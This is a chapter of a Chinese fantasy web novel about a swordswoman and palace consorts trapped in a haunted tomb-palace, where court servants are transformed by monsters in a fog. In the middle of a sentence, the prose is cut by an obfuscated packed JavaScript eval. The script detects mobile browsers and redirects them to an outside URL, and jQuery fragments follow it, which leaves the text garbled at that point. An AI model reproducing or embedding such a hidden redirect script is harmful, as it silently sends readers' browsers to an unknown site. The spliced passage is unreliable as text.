“怎么出去?”德妃恼道,“你问本宫,本宫问谁?”
“宁岁宫为初代皇后寝宫,你们原家没点记载?”青稚雅疑惑,指了指倒地的尸体,“还有这些,身负原氏与皇室血脉,你也不知情?”
德妃瞳孔骤缩,飞快瞥了眼地上干瘪下去的皮囊,喉头泛起酸意,强忍下呕吐的欲望。
其他人也不逞多让,纷纷露出惊骇表情。
“胡说什么,诽谤皇室乃是重罪!”德妃怒斥。
“是不是诽谤,德妃娘娘心里有数吧,比如十皇子?”青稚雅点到为止,其实她知道的也不多,此刻完全是在用推测出的情报诈德妃。
也是前期工作到位,本来这等秘辛不该这么容易被探查,怎奈九皇子怨恨当年皇室抛弃,心怀报复,而身边恰有位深受信任的幕僚,叫纪盐;咒术天才晏行歌,世代受血脉诅咒,沿着族史寻找元凶,最终寻到了深宫;还有个痛失爱人,潜伏进暗宗大本营的伴鲤。
消息渠道一多,外加梅鬼华对情报的敏锐度,很多毫无证据的推测,就这么被水灵灵地分析了出来。
“不可能,那可是他亲骨肉!”德妃反驳得奇快,她没有再去看地上的东西,显然极度排斥将其与自己孩子联系到一起。
“怎么不可能,陛下的同胞兄弟姐妹、子女,记录在皇家玉牒的有多少人,如今仍在世的还剩多少?”青稚雅眯起眼,怀疑德妃是不是也被狗皇帝迷惑,脑子里只有情爱。
“他们只是夭折了,而我的小十还活得好好的。”德妃冷笑,“妖言惑众!所有人都看到是你的宫女将大伙儿带到了这里,现在又说些荒诞之言,转移视线!”
顿时,数道怀疑视线投射而来。
青稚雅挑眉,“那我还来救人,刚刚那情况,你们差点全军覆没了吧?”
“那是因为裂魂大人保佑!”人群中,传来小宫女细细的哭腔,“我们向裂魂大人祈祷,所以才有一线生机。”
青稚雅早就瞧见殿内供奉的裂魂雕像,是这座残破殿宇里为数不多的完整物件。
梅鬼华当即嗤笑出声,“祈祷了,然后呢,为什么还有伤亡?”
两句话连在一起,嘲讽效果拉满。
“开始时怪物们确实没有攻击,后边越聚越多,想来仙人也福泽不了这许多人。”宫女小声辩解,“况且,后来才人不是来救我们了?”
言下之意便是,青稚雅救人也是因为裂魂在天之灵,派了救援。
好嘛,逻辑自洽了,合着她青稚雅做好事,是给裂魂做嫁衣?
青稚雅当即不乐意了,挽了个剑花,涤尘迸发出耀眼剑气,那尊金灿灿的神像瞬间崩成残渣碎片。
那宫女吓得不敢吭声了,生怕自己下一刻也会被大卸八块。
“危难时候被救是一种福气,人要惜福。”梅鬼华冷嗤一声,“她心善,不是你们蹬鼻子上脸的理由。”
“德妃娘娘,回答我的问题。”干净利落地还剑入鞘,青稚雅眉眼俱是威压,“这件事你知道多少?原家又参与了多少?”
德妃将头摇成拨浪鼓,“我不知道,我不知道这里面是怎么回事。小十长到二十,身体却仍如十三四的少年,太医说要到太医院静养,禁止探望,陛下也下旨了。但是,但是他好好地回来了啊。”
“还有初代皇后,姑祖奶奶在闺中时便有贤名,先帝赞其为女子典范,亲自下旨指为太子妃,当今陛下对其也很是敬重。”德妃畏惧地看了眼青稚雅搭在剑柄上的手,竹筒倒豆子般将所知道的都吐露了,“在原氏撰写的《历代皇后录》中,她的排名亦是名列前茅。”
说完她眼巴巴瞅着青稚雅,看起来相当识时务。
原家居然还给皇后设排行榜,《历代皇后录》听起来像极了内卷用的小本本。
青稚雅心中吐槽,原家承包皇后之位,皇后没着落时族中女子竞争上岗,有着落后又要在历代皇后中划分排名,这是真把做皇后当个事儿办啊。
再对比四处留情的皇帝——啧,不就是家有皇位要传承么。
青稚雅目光望向其他人,“这里有了解宁岁宫地形的人吗,诸位在此处还有别的线索吗?”
“我们倒是寻到了张字条,只不过······”贝嫔隐晦地瞥了眼地上残渣,委婉道:“看来求神拜佛并无用。”
“至于地形,我们都是后来进宫的,虽说德妃娘娘入宫时,已是第四代皇后,但或许原家有相关记载?”苏嫔小心翼翼补充。
所有人的目光又都转向了德妃。
德妃的表情像极了被投放入科举考场的学渣,绞尽脑汁,想抠出点有用的信息,然而二者间的差距在于,知识如同流水划过学渣的大脑皮层,却从未光顾过她的记忆。
眼睛会欺骗你,耳朵会欺骗你,但知识不会,知识不会就是不会。
“宁岁宫中殿宇以十二月为名,或许找到代表一年首尾月份的殿,能找到出去的路?”德妃转动自己的小脑瓜子,提议。
“我们一路过来,涂月殿后便是孟月殿。”青稚雅否决了她的猜测,“是循环,没有别的出路。”
“才人会不会没注意别的岔口?”柳嫔也加入了讨论,“宫内小道极多,又有假山石遮盖,错过了也有可能。”
青稚雅惊讶,“我这一路来,就一条笔直的大道。”
说着她抽剑在地上画上自己的行经路线,“不进殿内,只看各殿牌匾,大概是个正方形,两旁的宫墙都很高,像迷宫一样。”
随着图画完整,众妃嫔脸色皆变得难看起来。
“怎么了?”她不解,看不出其中门道。
“黄肠题凑。”砂嫔哑着嗓子吐出四字,补充道,“我们在初代皇后的墓室里。”
她话音落下,室内死寂一片,原本就阴森的氛围愈加诡谲。
所谓黄肠题凑,便是将黄心柏木靠近底部的一端全部朝内垒叠起来,堆成一个框型结构以拱卫椁室,是极高规格的葬制,曾在上古时期盛行一时,后便极少再用。
然而这种葬制虽偏门,对于嫁入皇室的贵女来说,却是必修课,她们可以不精通修行,可以不懂谋生之道,却必须了解宫里的规矩。
然而这知识对于半途出家的青、梅二人来说,属实偏门了些。
“如果是黄肠题凑的话,本宫或许知道如何走了。”贝嫔轻叹口气,“只是这一路凶险程度,恐怕更甚先前。”
有了线索,众人当即动身,知道自己所处位置,没人提议留下等候救援,那是在等死。
【死亡过半,宁岁宫进入第二阶段,全宫机关开启。】
【虽然不知道涤尘剑主会面临什么,但是重溟皇后原裳,原裳全家,还有原裳夫君以及夫君的小妾们,都保佑她别出事啊啊啊啊啊啊!有灾先让搭档挡,他耐造!】
雾起,笔直宫道上排队前进的队伍,视野所及仅前一人背影。
几名妃嫔在最前头带路,青稚雅就在她们身后。
走出一段路,她忽然伸出双手,搭住了前方贝嫔与德妃的肩,“停一下。”
二人被突然伸出来的手搭得吓了一跳,听到是她的声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454844|160750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才舒口气。
“怎么了?”最前方的砂嫔问,声音虽只隔了一丈,却有些失真。
“好像有点不对劲。”青稚雅拧眉,低喝:“报数!”
虽然不知道发生了什么,但在武力威慑前,最前方的砂嫔喊道:“一!”
“二!”
“三!”
······
“十七!”
没多一个,也没少一个。
嫔妃们松了口气,柳嫔笑道,“看来是太紧张了,大家都跟紧点,看着点身边人与前面人,应该不会出事。”
苏妃也提议,“要不要搭着前面一个人肩膀,以防走失?”
“好像在哪里看过类似技巧。”柳嫔思索。
“你看的是《赶尸手册》吗?走吧,不要多想。”梅鬼华翻了个白眼,死个把人而已,有什么好大惊小怪的,也就他家青青心善,会顾念这群人死活。
柳嫔一噎,正欲说话,忽听那个报十六的宫人颤抖着嗓音说,“十七不是,不是小齐的声音。”
他上下牙齿碰撞在一起,不敢回头瞧,而他身旁报数十五的宫人突然爆发出尖叫。
“你的脸,你的脸······”
风声拉起衣摆,站在队伍前方的剑修足尖点地,身体折成柔韧的弧度,翻身踩在侧面宫墙上,奔跑间涤尘剑出鞘,十五仰头时,只看到十七高抛的头颅,畸形身躯轰然倒塌。
青稚雅俯身翻看刚斩杀的东西,皮肤质感黏腻,咕噜噜滚出的头颅好似一颗刚剥开的水煮蛋,没有头发也没有脸。
变异?顶替?尸身仍穿着衣服,看来变异的概率更大些。
可为什么宫人会变异,因为大雾?可为什么其他人没有变?因为他在最末尾?
电光石火间,青稚雅脑子飞速转过各种可能性。
探查过后,她直起身,却悚然发现,方才还在尖叫的十五,身体正以肉眼可见的速度变化,皮肤变得滑腻灰白,胳膊下又长出了两只手。
“别听别看!所有人大声念——皇帝跟国师有一腿!”
原本恐惧害怕惊慌失措的宫人皆是一脸震惊地看过来。
“看什么看,跟着念!”青稚雅大声吼。
她知道异变的条件是什么了,民间传说人有三把火,在两肩与头顶,保护魂魄,当人受到惊吓时,“火”可能会熄灭,会有邪气入体,严重点可能短暂离魂。
这放当下情景简直致命,魂皿可不就是一堆皇室畸形儿魂魄塞进一副躯壳,这些魂灵经过邪法炼制,又是被亲族亲手推向此境地,定是充满怨气,见到新鲜皮囊怎有不占有的贪欲?
走在最后面的人,又是单数,心理压力恐怕最大,若还有什么东西在后边作祟,“拍灭”他肩上的“火”,或者他自己吓自己,离出事也就不远了。
青稚雅洞悉其中逻辑后,当即编造,啊不,是公布了皇帝与国师勾结的事实,转移大伙儿注意力,截断恐慌蔓延。
如今看来效果还不错。
当“皇帝跟国师有一腿”的念诵声在队伍里回荡,宫人们脸上忐忑的表情渐渐转为眉来眼去的兴奋。
十五长出的另外两只手也停止了生长,脸上残留着劫后余生的庆幸。
“好了,我来断后,所有人继续前进。”青稚雅大声喊,“如果害怕,大家可以唱歌,比如最近雪霏宫正在编写的——人人都能吃饱饭!”
说罢,她带头起了个调,编曲依照要求魔性洗脑,填词也朗朗上口,唱到第二遍的时候,已经有人能跟着小声哼唱了。